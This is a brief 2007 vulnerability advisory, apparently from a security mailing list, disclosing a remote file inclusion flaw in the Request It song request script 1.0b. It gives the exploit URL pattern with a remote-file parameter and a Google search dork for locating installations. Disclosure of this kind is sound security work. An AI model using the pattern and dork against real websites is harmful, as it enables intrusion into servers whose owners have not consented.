Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Gsylvain35 Portail Web Remote File Include Vulnerabilities

phpMyAdmin 2.6.1 Local Cross Site Scripting

Remot File Include In Script Lore v1

Take Control In Script Jeebles Directory

From:	mail_(at)_hackberry.ath.cx <mail_(at)_hackberry.ath.cx>
Date:	09.04.2007
Subject:	Request It : Song Request System 1.0b - remote file inclusion

Request It : Song Request System 1.0b - remote file inclusion

Software: Request It : Song Request System
Type: remote file inclusion
Version: 1.0b
Date: 2007-04-09
Url: http://scripts.ringsworld.com/organizers/requestit/
Risc: middle


------------------------------------
Credit:

http://hackberry.ath.cx
mail[AT]hackberry.ath.cx


------------------------------------
Vulnerability:

http://[target]/?id=[REMOTEFILE]


------------------------------------
Google dork:

"[ Request us to play you a song ]"